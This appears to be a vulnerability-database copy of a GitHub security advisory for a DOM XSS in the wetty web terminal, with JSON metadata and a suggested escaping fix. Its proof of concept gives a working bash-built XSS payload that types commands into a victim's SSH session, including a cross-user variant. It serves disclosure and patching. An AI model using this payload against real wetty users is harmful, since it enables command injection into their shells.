GHSA-P26J-H7WJ-R568

Vulnerability from github – Published: 2026-07-01 18:19 – Updated: 2026-07-01 18:19
VLAI
Summary
wetty vulnerable to DOM XSS via file-download filename
Details

Summary

The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.

Preconditions

  • Victim has wetty open with an active SSH session.
  • Attacker delivers the file-download escape sequence (\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders.
  • Default configuration; no non-default flags required.

Details

// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
  const remainingData = fileDownloader.buffer(data);
  // every PTY byte forwarded by the server passes through buffer()
  // ...
})

Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.

// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
  let fileNameBase64;
  let fileCharacters = bufferCharacters;
  if (bufferCharacters.includes(':')) {
    [fileNameBase64, fileCharacters] = bufferCharacters.split(':');
  }
  // ...
  void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}

async function detectAndDownload(/* ... */): Promise<void> {
  // ...
  let fileName;
  try {
    if (fileNameBase64 !== undefined) {
      fileName = window.atob(fileNameBase64);            // attacker-controlled
    }
  } catch { /* ... */ }
  fileName ??= `file-${ /* timestamp default */ }`;
  // ...
  Toastify({
    text: `Download ready: <a href="${blobUrl}" target="_blank" `
        + `download="${fileName}">${fileName}</a>`,     // sink
    duration: 10000,
    // ...
    escapeMarkup: false,
  }).showToast();
}

fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.

Proof of concept

Setup

  1. Bring up wetty and its bundled SSH host from a fresh clone:

bash git clone https://github.com/butlerx/wetty cd wetty docker compose up -d sleep 5

  1. Open http://localhost/wetty in a browser. The login terminal prompts for a username (enter term) then proxies to wetty-ssh, which prompts for the SSH password (also term, set in containers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.

Exploit

  1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:

bash PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">' FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0) DATA_B64=$(printf 'bait' | base64 -w0) printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"

Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied <img> element with the onerror handler.

  1. The onerror handler calls window.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as a data event; src/client/wetty.ts:40-42 forwards it as a socket input event; the server writes it to the PTY. The SSH host runs id > /tmp/pwned as the connected user:

bash cat /tmp/pwned

Expected: uid=1000(term) gid=1000(term) groups=1000(term).

  1. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:

bash # As the low-priv user on the SSH host printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt

When the higher-privileged user's wetty session runs cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.

Impact

  • Confidentiality: Reads the rendered terminal contents via window.wetty_term.buffer.active.
  • Integrity: Types attacker-chosen commands into the victim's SSH session via window.wetty_term.input().
  • Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.

Suggestions to fix

This has not been tested - it is illustrative only.

HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.

   fileName ??= `file-${new Date()
     .toISOString()
     .split('.')[0]
     .replace(/-/g, '')
     .replace('T', '')
     .replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;
+  const safeName = fileName.replace(/[&<>"']/g, (c) =>
+    ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' })[c] ?? c,
+  );

   const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });
   const blobUrl = URL.createObjectURL(blob);

   Toastify({
-    text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,
+    text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,
     duration: 10000,
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "wetty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T18:19:39Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (`escapeMarkup: false`). Any output the victim renders - a `cat`\u0027d file, a tailed log, an SSH MOTD, a `curl` response - that contains `\\x1b[5i...:...\\x1b[4i` runs script in the wetty origin and types attacker-chosen keystrokes into the victim\u0027s SSH session.\n\n### Preconditions\n\n- Victim has wetty open with an active SSH session.\n- Attacker delivers the file-download escape sequence (`\\x1b[5i\u003cb64-name\u003e:\u003cb64-content\u003e\\x1b[4i`) into output the victim\u0027s terminal renders.\n- Default configuration; no non-default flags required.\n\n### Details\n\n```typescript\n// src/client/wetty.ts:37, 46-62\nconst fileDownloader = new FileDownloader();\n// ...\nsocket.on(\u0027data\u0027, (data: string) =\u003e {\n  const remainingData = fileDownloader.buffer(data);\n  // every PTY byte forwarded by the server passes through buffer()\n  // ...\n})\n```\n\nEvery byte the server forwards from the PTY passes through `FileDownloader.buffer`. The buffer scans for the documented file-download markers `\\x1b[5i` (begin) and `\\x1b[4i` (end) - documented in `docs/downloading-files.md` - and, on a complete match, hands the inner payload to `onCompleteFile`.\n\n```typescript\n// src/client/wetty/download.ts:9-77\nfunction onCompleteFile(bufferCharacters: string): void {\n  let fileNameBase64;\n  let fileCharacters = bufferCharacters;\n  if (bufferCharacters.includes(\u0027:\u0027)) {\n    [fileNameBase64, fileCharacters] = bufferCharacters.split(\u0027:\u0027);\n  }\n  // ...\n  void detectAndDownload(bytes, fileCharacters, fileNameBase64);\n}\n\nasync function detectAndDownload(/* ... */): Promise\u003cvoid\u003e {\n  // ...\n  let fileName;\n  try {\n    if (fileNameBase64 !== undefined) {\n      fileName = window.atob(fileNameBase64);            // attacker-controlled\n    }\n  } catch { /* ... */ }\n  fileName ??= `file-${ /* timestamp default */ }`;\n  // ...\n  Toastify({\n    text: `Download ready: \u003ca href=\"${blobUrl}\" target=\"_blank\" `\n        + `download=\"${fileName}\"\u003e${fileName}\u003c/a\u003e`,     // sink\n    duration: 10000,\n    // ...\n    escapeMarkup: false,\n  }).showToast();\n}\n```\n\n`fileName` is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (`escapeMarkup: false`). No HTML escaping runs between `atob` and the toast markup. The wetty client exposes the live terminal as `window.wetty_term`, and `term.input(data, true)` (`src/client/wetty/term.ts:80, 93-97, 132, 145-198`) fires xterm.js\u0027s `onData`, which `src/client/wetty.ts:40-42` forwards as a socket `input` event - i.e., script in the wetty origin types into the victim\u0027s SSH session.\n\n### Proof of concept\n\n**Setup**\n\n1. Bring up wetty and its bundled SSH host from a fresh clone:\n\n   ```bash\n   git clone https://github.com/butlerx/wetty\n   cd wetty\n   docker compose up -d\n   sleep 5\n   ```\n\n2. Open `http://localhost/wetty` in a browser. The login terminal prompts for a username (enter `term`) then proxies to `wetty-ssh`, which prompts for the SSH password (also `term`, set in `containers/ssh/Dockerfile`). The browser tab now holds a shell on the SSH container.\n\n**Exploit**\n\n1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:\n\n   ```bash\n   PAYLOAD=\u0027\"\u003e\u003cimg src=x onerror=\"window.wetty_term.input(\\\"id \u003e /tmp/pwned\\\\n\\\",true)\"\u003e\u0027\n   FNAME_B64=$(printf \u0027%s\u0027 \"$PAYLOAD\" | base64 -w0)\n   DATA_B64=$(printf \u0027bait\u0027 | base64 -w0)\n   printf \u0027\\x1b[5i%s:%s\\x1b[4i\u0027 \"$FNAME_B64\" \"$DATA_B64\"\n   ```\n\n   Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied `\u003cimg\u003e` element with the `onerror` handler.\n\n2. The `onerror` handler calls `window.wetty_term.input(\"id \u003e /tmp/pwned\\n\", true)`, which xterm.js dispatches as a `data` event; `src/client/wetty.ts:40-42` forwards it as a socket `input` event; the server writes it to the PTY. The SSH host runs `id \u003e /tmp/pwned` as the connected user:\n\n   ```bash\n   cat /tmp/pwned\n   ```\n\n   Expected: `uid=1000(term) gid=1000(term) groups=1000(term)`.\n\n3. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:\n\n   ```bash\n   # As the low-priv user on the SSH host\n   printf \u0027\\x1b[5i%s:%s\\x1b[4i\u0027 \"$FNAME_B64\" \"$DATA_B64\" \u003e /tmp/notes.txt\n   ```\n\n   When the higher-privileged user\u0027s wetty session runs `cat /tmp/notes.txt`, attacker-controlled JavaScript types commands into that user\u0027s shell.\n\n### Impact\n\n- **Confidentiality:** Reads the rendered terminal contents via `window.wetty_term.buffer.active`.\n- **Integrity:** Types attacker-chosen commands into the victim\u0027s SSH session via `window.wetty_term.input()`.\n- **Auth:** A writer of content the victim renders gains keystroke injection in the victim\u0027s higher-privileged session - a path from any local SSH user to commands as the wetty user.\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nHTML-escape the decoded filename before interpolating it into Toastify\u0027s HTML markup at `src/client/wetty/download.ts:67-77`.\n\n```diff\n   fileName ??= `file-${new Date()\n     .toISOString()\n     .split(\u0027.\u0027)[0]\n     .replace(/-/g, \u0027\u0027)\n     .replace(\u0027T\u0027, \u0027\u0027)\n     .replace(/:/g, \u0027\u0027)}${fileExt ? `.${fileExt}` : \u0027\u0027}`;\n+  const safeName = fileName.replace(/[\u0026\u003c\u003e\"\u0027]/g, (c) =\u003e\n+    ({ \u0027\u0026\u0027: \u0027\u0026amp;\u0027, \u0027\u003c\u0027: \u0027\u0026lt;\u0027, \u0027\u003e\u0027: \u0027\u0026gt;\u0027, \u0027\"\u0027: \u0027\u0026quot;\u0027, \"\u0027\": \u0027\u0026#39;\u0027 })[c] ?? c,\n+  );\n\n   const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });\n   const blobUrl = URL.createObjectURL(blob);\n\n   Toastify({\n-    text: `Download ready: \u003ca href=\"${blobUrl}\" target=\"_blank\" download=\"${fileName}\"\u003e${fileName}\u003c/a\u003e`,\n+    text: `Download ready: \u003ca href=\"${blobUrl}\" target=\"_blank\" download=\"${safeName}\"\u003e${safeName}\u003c/a\u003e`,\n     duration: 10000,\n```",
  "id": "GHSA-p26j-h7wj-r568",
  "modified": "2026-07-01T18:19:39Z",
  "published": "2026-07-01T18:19:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/butlerx/wetty/security/advisories/GHSA-p26j-h7wj-r568"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/butlerx/wetty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "wetty vulnerable to DOM XSS via file-download filename"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…